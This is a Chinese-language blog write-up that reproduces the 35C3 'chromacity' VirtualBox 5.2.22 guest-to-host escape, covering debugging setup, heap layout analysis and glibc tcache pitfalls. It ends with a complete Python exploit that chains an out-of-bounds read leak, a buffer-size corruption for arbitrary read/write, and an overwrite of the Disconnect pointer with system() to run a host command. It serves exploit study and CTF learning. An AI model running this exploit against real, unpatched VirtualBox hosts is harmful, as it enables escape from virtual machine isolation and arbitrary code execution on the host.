Mid Station

Virtual Box Exploitation #2

**Of Course We Can Escape**

距离上篇有一个多月的时间了,趁着上周的两天空档终于复现了一个虚拟机逃逸漏洞的利用全过程。在4月底的时候,35C3比赛中解出题目的另一位选手@TheFloW也发布了一篇wp,chromacity: Escaping the VM with newlines。加上之前Tea Delivers在知乎上的wp,凑齐了比赛时间内完成题目的两篇题解,大家都是在比赛结束的几个月后才来发布wp,一方面说明这是真实存在的0day,需要尽量降低漏洞的危害;另一方面也大致体现了这个漏洞学习的价值。

Debug Script

上篇完成了Virtualbox 5.2.22带debug symbol的版本编译,并且在文章结尾尝试用gdb attach上Virtualbox的进程进行调试,为了快速启动系统,我完善虚拟机系统的配置后创建了一个镜像。进行一次调试的步骤如下:

  1. 恢复虚拟机的镜像状态
  2. 启动虚拟机
  3. gdb附加VirtualBox进程,加载断点
  4. ssh 连接上虚拟机
  5. 在虚拟机中执行poc,断点处调试

为了方便操作,编写了如下的一键启动调试脚本,期间了解到了Virtualbox命令行管理工具VBoxManage的用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/sh
echo "[+] Removing previous log."
rm *.log

echo "[+] Restore snpashot."
./VBoxManage snapshot Lubuntu restore init3
echo "[+] Starting VM."
./VBoxManage startvm Lubuntu --type gui

echo "[+] Attach to gdb."
gdbcmd="dir /mnt/d/VBox/VBox/VirtualBox-5.2.22/src/"
tmux splitw -h "sudo gdb attach `pgrep VirtualBox` --ex $gdbcmd"

echo "[+] Connect ssh to VM."
ssh matthew@localhost -p 2222 -t "cd /media/sf_VBox; bash --login"

Exploit Analysis

接下来的工作就是分析两篇wp中的exp,逐点弄懂背后的漏洞利用逻辑。

Leaking CRConnection Address

两个exp的第一步都是泄露出一个CRConnection结构体的地址,而且作者们都直接使用了出题人@niklasb提供的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def leak_conn(client):
'''Return a CRConnection address, and associated clident handle'''
# Spray some buffers of sizes
# 0x298 = sizeof(CRConnection)
# 0x9d0 = sizeof(CRClient)
for _ in range(600):
alloc_buf(client, 0x298)
for _ in range(600):
alloc_buf(client, 0x9d0)
# This will allocate a CRClient and CRConnection right next to each other.
new_client = hgcm_connect("VBoxSharedCrOpenGL")
for _ in range(2):
alloc_buf(client, 0x290)
for _ in range(2):
alloc_buf(client, 0x9d0)
hgcm_disconnect(new_client)
msg = make_oob_read(OFFSET_CONN_CLIENT)
leak = crmsg(client, msg, 0x290)[16:24]
print hexdump(leak)
pClient, = unpack("<Q", leak[:8])
pConn = pClient + 0x9e0
new_client = hgcm_connect("VBoxSharedCrOpenGL")
set_version(new_client)
return new_client, pConn, pClient

这段代码首先是通过堆喷射来填充空间,保证能够分配出相邻的CRConnectionCRClient对象,这里使用的是Tea delivers提出的越界读函数,实际上通过内存未初始化的漏洞也能泄露的出CRClient的地址。

问题一:如何确定hgcm_connect连接时候分配的结构体,以及确认它们的大小?

实际上我们可以动态调试获得这些信息,在crVBoxServerAddClientcrAlloc下断点就能追踪到分配结构体的过程,其中crAlloc是chrome库中对malloc函数的一个封装。此时我们可以看到程序陆续调用了crAlloc(0x9d0)crAlloc(0x298),也就是先分配了一个CRClient再分配了一个CRConnection,这点很重要,因为稍后我们需要通过泄露出CRClient的地址和结构体大小来计算出CRConnection的地址。接下来可以使用pahole插件来查看结构体的大小及成员变量偏移:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
gef> pahole CRConnection
/* 664 */ struct CRConnection {
/* 0 4 */ int ignore
/* 4 4 */ enum {...} type
/* 8 4 */ unsigned int id
...
/* 208 8 */ void *(*)(CRConnection *) Alloc
/* 216 8 */ void (*)(CRConnection *, void *) Free //[HERE] use to leak lib address later
/* 224 8 */ void (*)(CRConnection *, void **, const void *, unsigned int) Send
/* 232 8 */ void (*)(CRConnection *, void **, const void *, unsigned int) Barf
/* 240 8 */ void (*)(CRConnection *, const void *, unsigned int) SendExact
/* 248 8 */ void (*)(CRConnection *, void *, unsigned int) Recv
/* 256 8 */ void (*)(CRConnection *) RecvMsg
/* 264 8 */ void (*)(CRConnection *, CRMessage *) InstantReclaim
/* 272 8 */ void (*)(CRConnection *, CRMessage *, unsigned int) HandleNewMessage
/* 280 8 */ void (*)(CRConnection *, const char *, unsigned short) Accept
/* 288 8 */ int (*)(CRConnection *) Connect
/* 296 8 */ void (*)(CRConnection *) Disconnect
...
/* XXX 32 bit hole, try to pack */
/* 568 8 */ uint8_t * pHostBuffer
/* 576 4 */ unsigned int cbHostBufferAllocated
/* 580 4 */ unsigned int cbHostBuffer
/* 584 8 */ _crclient * pClient // [HERE] CRClient ptr
/* 592 40 */ CRVBOXHGSMI_CMDDATA CmdData
/* 632 16 */ RTLISTNODE PendingMsgList
/* 648 1 */ unsigned char allow_redir_ptr
/* XXX 24 bit hole, try to pack */
/* 652 4 */ unsigned int vMajor
/* 656 4 */ unsigned int vMinor
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
gef> pahole CRClient
/* 2512 */ struct _crclient {
/* 0 4 */ int spu_id
/* XXX 32 bit hole, try to pack */
/* 8 8 */ CRConnection * conn
/* 16 4 */ int number
/* XXX 32 bit hole, try to pack */
/* 24 8 */ unsigned long pid
/* 32 4 */ int currentContextNumber
/* XXX 32 bit hole, try to pack */
/* 40 8 */ CRContextInfo * currentCtxInfo
/* 48 4 */ int currentWindow
/* XXX 32 bit hole, try to pack */
/* 56 8 */ CRMuralInfo * currentMural
/* 64 400 */ GLint [100] windowList
/* 464 2048 */ GLint [512] contextList
}

同时,通过阅读源码我们也能定位到创建这两个结构体的具体位置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int32_t crVBoxServerAddClient(uint32_t u32ClientID)
{
CRClient *newClient;

if (cr_server.numClients>=CR_MAX_CLIENTS)
{
return VERR_MAX_THRDS_REACHED;
}

newClient = (CRClient *) crCalloc(sizeof(CRClient)); // [HERE] CRClient (0x9d0)
crDebug("crServer: AddClient u32ClientID=%d", u32ClientID);

newClient->spu_id = 0;
newClient->currentCtxInfo = &cr_server.MainContextInfo;
newClient->currentContextNumber = -1;
newClient->conn = crNetAcceptClient(cr_server.protocol, NULL,
cr_server.tcpip_port,
cr_server.mtu, 0);
newClient->conn->u32ClientID = u32ClientID;

cr_server.clients[cr_server.numClients++] = newClient;

crServerAddToRunQueue(newClient);

return VINF_SUCCESS;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/**
* Accept a connection from a client.
* \param protocol the protocol to use (such as "tcpip" or "gm")
* \param hostname optional hostname of the expected client (may be NULL)
* \param port number of the port to accept on
* \param mtu maximum transmission unit
* \param broker either 1 or 0 to indicate if connection is brokered through
* the mothership
* \return new CRConnection object, or NULL
*/
CRConnection *
crNetAcceptClient( const char *protocol, const char *hostname,
unsigned short port, unsigned int mtu, int broker )
{
CRConnection *conn;

CRASSERT( cr_net.initialized );

conn = (CRConnection *) crCalloc( sizeof( *conn ) ); // [HERE] CRConnection (0x298)
if (!conn)
return NULL;

/* init the non-zero fields */
...
}

问题二:越界读或者内存未初始化泄露地址的原理?

在漏洞函数crUnpackExtendGetUniformLocation断点并且打印backtrace可以观察到函数调用的过程:

1
2
3
4
5
6
7
8
9
10
[#0] 0x7fe6e19f77c5->crUnpackExtendGetUniformLocation()
[#1] 0x7fe6e19f4068->crUnpackExtend()
[#2] 0x7fe6e19ee7f0->crUnpack(data=0x7fe639517070, data_end=0x7fe6395172f0, opcodes=0x7fe63951706f, num_opcodes=0x1, table=0x7fe6e1a65a30 <cr_server+13008>)
[#3] 0x7fe6e1920fe4->crServerDispatchMessage(conn=0x7fe6c48b7640, msg=0x7fe639517060, cbMsg=0x290)
[#4] 0x7fe6e19215fe->crServerServiceClient(qEntry=0x7fe6c48b7e30)
[#5] 0x7fe6e1921773->crServerServiceClients()
[#6] 0x7fe6e18f764f->crVBoxServerInternalClientWriteRead(pClient=0x7fe6c48b6970)
[#7] 0x7fe6e18f792d->crVBoxServerClientWrite(u32ClientID=0x45, pBuffer=0x7fe639517060 "\001LGwAAAA\001", cbBuffer=0x290)
[#8] 0x7fe6e18db4a8->svcCall(callHandle=0x7fe6d4893150, u32ClientID=0x45, pvClient=0x7fe6c80076b0, u32Function=0xe, cParms=0x3, paParms=0x7fe6d488ec10)
[#9] 0x7fe712b81001->hgcmServiceThread(ThreadHandle=0x80000011, pvUser=0x7fe6c8002c60)

首先是服务端(宿主)收到一个svcCall请求,然后逐步分发消息,调用到crUpack函数,走拓展功能的调用方法,最终会调用目标函数crUnpackExtendGetUniformLocation

1
2
3
4
5
6
7
8
9
void crUnpackExtendGetUniformLocation(void)
{
int packet_length = READ_DATA(0, int);
GLuint program = READ_DATA(8, GLuint);
const char *name = DATA_POINTER(12, const char);
SET_RETURN_PTR(packet_length-16);
SET_WRITEBACK_PTR(packet_length-8);
cr_unpackDispatch.GetUniformLocation(program, name);
}

该函数中没有对传入的packet_length做任何检查,由此会产生一个越界读。而@TheFloW也提到此处其实并不需要OOB,因为svcGetBuffer() 构造CRVBOXSVCBUFFER_t结构体的时候并没有初始化内存的操作。disconnect时候回收的内存,随后又马上分配给了可读写的CRVBOXSVCBUFFER_t,于是我们能够读出其中残留的指针。这里画了一幅图来展示整个堆喷射和泄露的内存结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
+-------------------------------+                                              +-------------------------------+
| spary(0x290, 600) | | spary(0x290, 600) |
| | | |
| | | |
| | | |
| | | |
+-------------------------------+ +-------------------------------+
| spary(0x9d0, 600) | | spary(0x9d0, 600) |
| | | |
| | | |
| | hgcm_disconnection() | |
| | make_oob_read(OFFSET_CONN_CLIENT) | |
+-------------------------------+ +----+ crmsg(client, msg, 0x290) +-------------------------------+
| CRClient ( 0x9d0 ) | | | freed |
| | | | |
| | + | |
+-------------------------------+ hgcm_connect +------------> +-------------------------------+
| CRConnection ( 0x298 ) | + | (leak target) |
| | | | memory uninitialized |
| | | | |
+-------------------------------+ +----+ +-------------------------------+
| spary(0x290, 2) | | spary(0x290, 2) |
| | | |
| | | |
| | | |
| | | |
+-------------------------------+ +-------------------------------+
| spary(0x9d0, 2) | | spary(0x9d0, 2) |
| | | |
| | | |
| | | |
| | | |
+-------------------------------+ +-------------------------------+

Arbitrary R/W

两篇wp中把漏洞的成因都介绍得非常清楚,问题是代码漏掉了对最后一层循环的操作进行越界检查,导致可以向后溢出使后方的\x00字节被改成\xa0字节。利用的方法是布置好连续的CRVBOXSVCBUFFER_t,如下图所示,释放第一个buffer,重新填充上CR_SHADERSOURCE_EXTEND的消息,执行crUnpackExtendShaderSource漏洞函数以后会越界写把后方的\x00都改成\xa0。导致第二个结构体信息被更改:

  1. uiID被破坏,如:0x0000aabb -> 0x0a0aaabb
  2. uiSize被增大,如: 0x00000030 -> 0x0a0a0a30

size变大以后的buffer可以继续覆盖第三个结构体,此时我们就可以随意控制第三个结构体的uiID,uiSize,pData,通过修改pData并利用伪造的uiID,进行SHCRGL_GUEST_FN_WRITE_BUFFERSHCRGL_GUEST_FN_READ,便可以进行任意读写了。下面是示意图:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
                           +-----------------------------+
|uint32_t uiID|uint32_t uiSize|
+-----------------------------+
|void* pData +--------+
+-----------------------------+ |
|_CRVBOXSVCBUFFER_t* pNext | |
+-----------------------------+ |
|_CRVBOXSVCBUFFER_t* pPrev | |
+-----------------------------+ |
| CR_SHADERSOURCE_EXTEND | <------+
| |
| |
| |
| |
+------+ | [OVERFLOW: \X00->\X0A] |
OVERFLOW AREA: | +-----------------------------+
enlarge uiSize & | +-----------------------------+
corrupted uiID | |uint32_t uiID|uint32_t uiSize|
+------+ +-----------------------------+
|void* pData +--------+
+-----------------------------+ |
|_CRVBOXSVCBUFFER_t* pNext | |
+-----------------------------+ |
fake buffer area |_CRVBOXSVCBUFFER_t* pPrev | |
after size enlarge +-----------------------------+ |
+--------------------+ | msg Buffer(0x30) | <------+
| | |
| | |
| | |
| | |
| | |
| +-----------------------------+
| + +-----------------------------+
|uiID=0x13371337 |uint32_t uiID|uint32_t uiSize| using fake id 0x13371337
|uiSize=0x290 +-----------------------------+ to do arbitrary R/W
|pData=(arbitrary addr)|void* pData +--------+-------------------> +--------------------------+
| +-----------------------------+ | |ANYWHERE |
| |_CRVBOXSVCBUFFER_t* pNext | | | |
| +-----------------------------+ X +--------------------------+
| |_CRVBOXSVCBUFFER_t* pPrev | |
| +-----------------------------+ |
| | msg Buffer(0x30) | <------+
| | |
| | |
| | |
| | |
| | |
+--------------------+ +-----------------------------+

Failed Attempt

然而事情并没有这么简单,编写exp进行到使用SHCRGL_GUEST_FN_WRITE_READ_BUFFERED触发CR_SHADERSOURCE_EXTEND_OPCODE之后程序就立马崩溃了。经过反复排查发现问题出在svcCall中执行完CR_SHADERSOURCE_EXTEND_OPCODE后调用的svcFreeBuffer(下面代码第58行),观察内存发现越界修改\x00的漏洞是没有问题了,但是free的步骤会报错。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
CR_SHADERSOURCE_EXTEND_OPCODEstatic DECLCALLBACK(void) svcCall (void *, VBOXHGCMCALLHANDLE callHandle, uint32_t u32ClientID, void *pvClient, uint32_t u32Function, uint32_t cParms, VBOXHGCMSVCPARM paParms[])
{
......
case SHCRGL_GUEST_FN_WRITE_READ_BUFFERED:
{
Log(("svcCall: SHCRGL_GUEST_FN_WRITE_READ_BUFFERED\n"));

/* Verify parameter count and types. */
if (cParms != SHCRGL_CPARMS_WRITE_READ_BUFFERED)
{
rc = VERR_INVALID_PARAMETER;
}
else
if ( paParms[0].type != VBOX_HGCM_SVC_PARM_32BIT /* iBufferID */
|| paParms[1].type != VBOX_HGCM_SVC_PARM_PTR /* pWriteback */
|| paParms[2].type != VBOX_HGCM_SVC_PARM_32BIT /* cbWriteback */
|| !paParms[0].u.uint32 /*iBufferID can't be 0 here*/
)
{
rc = VERR_INVALID_PARAMETER;
}
else
{
/* Fetch parameters. */
uint32_t iBuffer = paParms[0].u.uint32;
uint8_t *pWriteback = (uint8_t *)paParms[1].u.pointer.addr;
uint32_t cbWriteback = paParms[1].u.pointer.size;

CRVBOXSVCBUFFER_t *pSvcBuffer = svcGetBuffer(iBuffer, 0);
if (!pSvcBuffer)
{
LogRel(("OpenGL: svcCall(WRITE_READ_BUFFERED): Invalid buffer (%d)\n", iBuffer));
rc = VERR_INVALID_PARAMETER;
break;
}

uint8_t *pBuffer = (uint8_t *)pSvcBuffer->pData;
uint32_t cbBuffer = pSvcBuffer->uiSize;

/* Execute the function. */
rc = crVBoxServerClientWrite(u32ClientID, pBuffer, cbBuffer);
if (!RT_SUCCESS(rc))
{
Assert(VERR_NOT_SUPPORTED==rc);
svcClientVersionUnsupported(0, 0);
}

rc = crVBoxServerClientRead(u32ClientID, pWriteback, &cbWriteback);

if (RT_SUCCESS(rc))
{
/* Update parameters.*/
paParms[1].u.pointer.size = cbWriteback;
}
/* Return the required buffer size always */
paParms[2].u.uint32 = cbWriteback;

svcFreeBuffer(pSvcBuffer);
}

break;
}
......

由于是GUI程序,没有命令行来查看程序的报错信息。程序会直接闪退,但基本确认是free函数内部的某些错误。想要加载glibc的源码定位错误但是没找到gdb加载多个项目源码的方法,最终使用bt命令打印错误点的调用栈再一步步回溯。追踪到以下的调用位置,这是一个abort函数的调用,看到调用参数处的$rcx指向的错误信息字符串free(): invalid next size (fast),结合malloc源码可以确认程序崩溃的原因是越界写破坏掉了chunk meta中的size,导致fastbin free流程的时候检查不通过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
$rax   : 0x0               
$rbx : 0x00007f15eb292b30 -> "00007f15c89d6e90"
$rcx : 0x00007f164a92bf50 -> "free(): invalid next size (fast)"
$rdx : 0x00007ffdb15b99f7 -> 0x616d2f656d6f682f ("/home/ma"?)
$rsp : 0x00007f15eb292af0 -> 0x00000000c89d6e90
$rbp : 0x00007f15eb292b30 -> "00007f15c89d6e90"
$rsi : 0x00007f164a92bed8 -> "*** Error in `%s': %s: 0x%s ***"
$rdi : 0x2
$rip : 0x00007f164a81b375 -> call 0x7f164a812510
$r8 : 0x00007f15eb292b30 -> "00007f15c89d6e90"
$r9 : 0x0
$r10 : 0xe
$r11 : 0x00007f15c8210b80 -> 0x00007f1622f6e700 -> push r13
$r12 : 0x3
$r13 : 0x00007f164a92bf50 -> "free(): invalid next size (fast)"
$r14 : 0x00007f15eb292b33 -> "07f15c89d6e90"
$r15 : 0x0
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
------------------------------------------------------------------------------------------- stack ----
0x00007f15eb292af0|+0x0000: 0x00000000c89d6e90 <-$rsp
0x00007f15eb292af8|+0x0008: 0x00007f15fc04a358 -> 0x0000000000000000
0x00007f15eb292b00|+0x0010: 0x00007f15eb292b20 -> 0x00007f15eb292b40 -> 0x00007f15eb292b00 -> [loop detected]
0x00007f15eb292b08|+0x0018: 0x00007f15fc03400a -> <crVBoxHGCMFree+59> nop
0x00007f15eb292b10|+0x0020: 0x00007f15c88b8330 -> 0x4141414177474c0d
0x00007f15eb292b18|+0x0028: 0x00007f15c82d9b70 -> 0x0000000900000000
0x00007f15eb292b20|+0x0030: 0x00007f15eb292b40 -> 0x00007f15eb292b00 -> 0x00007f15eb292b20 -> [loop detected]
0x00007f15eb292b28|+0x0038: 0x00007f15fc013751 -> <crNetFree+43> nop
------------------------------------------------------------------------------------- code:x86:64 ----
0x7f164a81b368 add BYTE PTR [rax-0x7b], cl
0x7f164a81b36b ror BYTE PTR [rax+0xf], 0x45
0x7f164a81b36f rol BYTE PTR [rbx-0x3fcefd19], 1
->0x7f164a81b375 call 0x7f164a812510
\-> 0x7f164a812510 push rbp
0x7f164a812511 mov rbp, rsp
0x7f164a812514 push r15
0x7f164a812516 push r14
0x7f164a812518 lea rax, [rbp+0x10]
0x7f164a81251c push r13
----------------------------------------------------------------------------- arguments (guessed) ----
0x7f164a812510 (
$rdi = 0x0000000000000002,
$rsi = 0x00007f164a92bed8->"*** Error in `%s': %s: 0x%s ***",
$rdx = 0x00007ffdb15b99f7->0x616d2f656d6f682f
)
------------------------------------------------------------------------------------------- trace ----
[#0] 0x7f164a81b375->call 0x7f164a812510
[#1] 0x7f164a81f53c->free()
[#2] 0x7f164dbfcc94->RTMemFree(pv=0x7f15c89d6e90)
[#3] 0x7f15eabc87f1->svcFreeBuffer(pBuffer=0x7f15c89d6e60)

那么为什么两篇wp都成功了呢,后来仔细想才发现是glibc版本的问题,比赛给的环境是Lubuntu 18.04 ,采用2.27版本的glibc,开启了tcache机制。而我在上篇中费尽心血编译出来的版本是运行在Ubuntu 16.04里面的,2.23版本的glibc,没有tcache机制。

在2.23版本中,释放大小为0x30的chunk会走fastbin的流程,其中包含对下一个chunk的合法检查,也就是上面报错卡住的地方。而开启tcache的版本就没有这些检查了,直接把chunk放入tcache中。因此原题的exp并不会出现这样的报错。确定了问题的原因,自然就有了解决方法,直接在18.04的系统中重新编译Virtualbox。当然也可以在16.04中想办法绕过这个free,但只怕需要构造更加复杂的内存布局,老版本libc的利用看有没有机会以后再研究了。

Arbitrary Command Execution

从任意地址读写到任意命令执行的方法也比较简单直接。

  1. 第一步获取的CRConnection结构体地址中读取CRConnection->Free的内容,该指针指向的是crVBoxHGCMFree函数。
  2. crVBoxHGCMFree 位于 VBoxOGLhostcrutil.so 中,可以计算出VBoxOGLhostcrutil.so的加载地址
  3. VBoxOGLhostcrutil.so是chrome的共享库,其中也有GOT表,加载了部分libc函数的地址。
  4. 计算GOT表中read函数的地址,泄露出read函数的libc地址。
  5. 通过偏移计算出libc中system函数的地址
  6. CRConnection->Disconnect的指针改写为system,把任意指令写入CRConnection的头部。
  7. 通过SHCRGL_GUEST_FN_READ等操作触发disconnect,即可执行任意指令。

具体的exp如下,基本是根据两位大神的思路来写的,重构了一下希望逻辑能更加清晰吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
#!/usr/bin/env python2
import os, sys
from array import array
from struct import pack, unpack

sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/lib')
from chromium import *
from hgcm import *

def make_oob_read(offset):
return (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
+ '\0\0\0' + chr(CR_EXTEND_OPCODE)
+ pack("<I", offset)
+ pack("<I", CR_GETUNIFORMLOCATION_EXTEND_OPCODE)
+ pack("<I", 0)
+ 'LEET'
)
"""
void crUnpackExtendGetUniformLocation(void)
{
int packet_length = READ_DATA(0, int);
GLuint program = READ_DATA(8, GLuint);
const char *name = DATA_POINTER(12, const char);
SET_RETURN_PTR(packet_length-16);
SET_WRITEBACK_PTR(packet_length-8);
cr_unpackDispatch.GetUniformLocation(program, name);
}
"""

def leak_conn(client):
''' Return a CRConnection address, and the associated client handle '''
# Spray some buffers of sizes
# 0x290 = sizeof(CRConnection) and
# 0x9d0 = sizeof(CRClient)
for _ in range(600):
alloc_buf(client, 0x290)
for _ in range(600):
alloc_buf(client, 0x9d0)

# This will allocate a CRClient and CRConnection right next to each other.
new_client = hgcm_connect("VBoxSharedCrOpenGL")

for _ in range(2):
alloc_buf(client, 0x290)
for _ in range(2):
alloc_buf(client, 0x9d0)

hgcm_disconnect(new_client)

# Leak pClient member of CRConnection struct, and from that compute
# CRConnection address.
msg = make_oob_read(OFFSET_CONN_CLIENT)
leak = crmsg(client, msg, 0x290)[16:24]
pClient, = unpack("<Q", leak[:8])
pConn = pClient + 0x9e0
new_client = hgcm_connect("VBoxSharedCrOpenGL")
set_version(new_client)
return new_client, pConn, pClient

class Pwn(object):

def __init__(self):
self.spray_num = 0x2000
self.spray_size = 0x30

def setup(self):
self.leak_stuff()
self.spray_CRVBOXSVCBUFFER()
self.enlarge_victim_size()
self.found_corrupted_buf()
self.write_fake()

def leak_stuff(self):
self.client1 = hgcm_connect("VBoxSharedCrOpenGL")
set_version(self.client1)

self.client2 = hgcm_connect("VBoxSharedCrOpenGL")
set_version(self.client2)

# TODO maybe spray even more?
for _ in range(3):
for _ in range(400): alloc_buf(self.client1, 0x290)
for _ in range(400): alloc_buf(self.client1, 0x9d0)
for _ in range(600): alloc_buf(self.client1, 0x30)
# self.master_id, self.master, _ = leak_buf(self.client1)
# print('[*] Header for buffer # %d is at 0x%016x (master)' % (self.master_id, self.master))
# self.victim_id, self.victim, _ = leak_buf(self.client1)
# print('[*] Header for buffer # %d is at 0x%016x (victim)' % (self.victim_id, self.victim))

self.client3, self.pConn, _ = leak_conn(self.client1)
print('[*] Leaked CRConnection @ 0x%016x' % self.pConn)

def spray_CRVBOXSVCBUFFER(self):
self.bufs = []
for i in range(self.spray_num):
self.bufs.append(alloc_buf(self.client1, self.spray_size))
self.hole_pos = self.spray_num - 0x10
hgcm_call(self.client1, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [self.bufs[self.hole_pos], "A"*0x1000, 1337])

def enlarge_victim_size(self):
# trigger bug to enlarge a CRVBOXSVCBUFFER_t
msg = (pack("<III", CR_MESSAGE_OPCODES, 0X41414141, 1))
msg += "\x00\x00\x00" + chr(CR_EXTEND_OPCODE)
msg += 'aaaa'
msg += pack("<I", CR_SHADERSOURCE_EXTEND_OPCODE)
msg += pack("<I", 0)
msg += pack("<I", 1)
msg += pack("<I", 0)
msg += pack("<I", 0x22)
crmsg(self.client1, msg, self.spray_size)

def found_corrupted_buf(self):
print "[+] Finding corrupted buffer..."
found = -1
for i in range(self.spray_num):
if i != self.hole_pos:
try:
hgcm_call(self.client1, SHCRGL_GUEST_FN_WRITE_BUFFER, [self.bufs[i], self.spray_size, 0, ""])
except IOError:
print "[+] Found corrupted id: 0x%x" % self.bufs[i]
found = self.bufs[i]
break
if found < 0:
exit("[-] Error could not find corrupted buffer.")
id_str = "%08x" % found
self.victim_id = int(id_str.replace("00", "0a"), 16)
print("[+] Victim id: %#x" % self.victim_id)

def write_fake(self):
self.fake_id = 0x13371337
try:
fake = pack("<IIQQQ", self.fake_id, 0x290, self.pConn, 0, 0)
hgcm_call(self.client1, SHCRGL_GUEST_FN_WRITE_BUFFER, [self.victim_id, 0x0a0a0a30, self.spray_size + 0x10, fake])
print("[+] Exploit successful.")
except IOError:
exit("[-] Failed")

def do_read(self, addr, n):
hgcm_call(self.client1, SHCRGL_GUEST_FN_WRITE_BUFFER, [self.fake_id, 0x290, OFFSET_CONN_HOSTBUF, pack("<Q", addr)])
hgcm_call(self.client1, SHCRGL_GUEST_FN_WRITE_BUFFER, [self.fake_id, 0x290, OFFSET_CONN_HOSTBUFSZ, pack("<I", n)])
res, sz = hgcm_call(self.client3, SHCRGL_GUEST_FN_READ, ["A"*0x1000, 0x1000])
print "[+] do read at %#x, %d" % (addr, n)
return res[:n]

def do_read64(self, addr):
res = self.do_read(addr, 8)
return unpack("<Q", res)[0]

def leak_addrs(self):
self.crVBoxHGCMFree = self.do_read64(self.pConn + OFFSET_CONN_FREE)
print "[+] crVBoxHGCMFree: 0x%x" % self.crVBoxHGCMFree
self.VBoxOGLhostcrutil = self.crVBoxHGCMFree - 0x20640
print "[+] VBoxOGLhostcrutil: 0x%x" % self.VBoxOGLhostcrutil
read_got = self.VBoxOGLhostcrutil + 0x22f170
self.read = self.do_read64(read_got)
print "[+] read: 0x%x" % self.read
self.libc = self.read - 0x110070
print "[+] libc: 0x%x" % self.libc
self.system = self.libc + 0x4f440
print "[+] system: 0x%x" % self.system

def exploit(self):
cmd = "gnome-calculator"
# Overwrite CRConnection->disconnect to system, &CRConnection to cmd string.
hgcm_call(self.client1, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, 0x128, pack("<Q", self.system)])
hgcm_call(self.client1, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, 0, cmd])
# trigger disconnect
hgcm_call(self.client3, SHCRGL_GUEST_FN_READ, ["A"*0x1000, 0x1000])


if __name__ == '__main__':
p = Pwn()
p.setup()
p.leak_addrs()
p.exploit()

Reference

  1. http://matshao.com/2019/04/11/VirtualBox-Exploitation-1/
  2. https://zhuanlan.zhihu.com/p/58910752
  3. https://theofficialflow.github.io/2019/04/26/chromacity.html
  4. https://phoenhex.re/2018-07-27/better-slow-than-sorry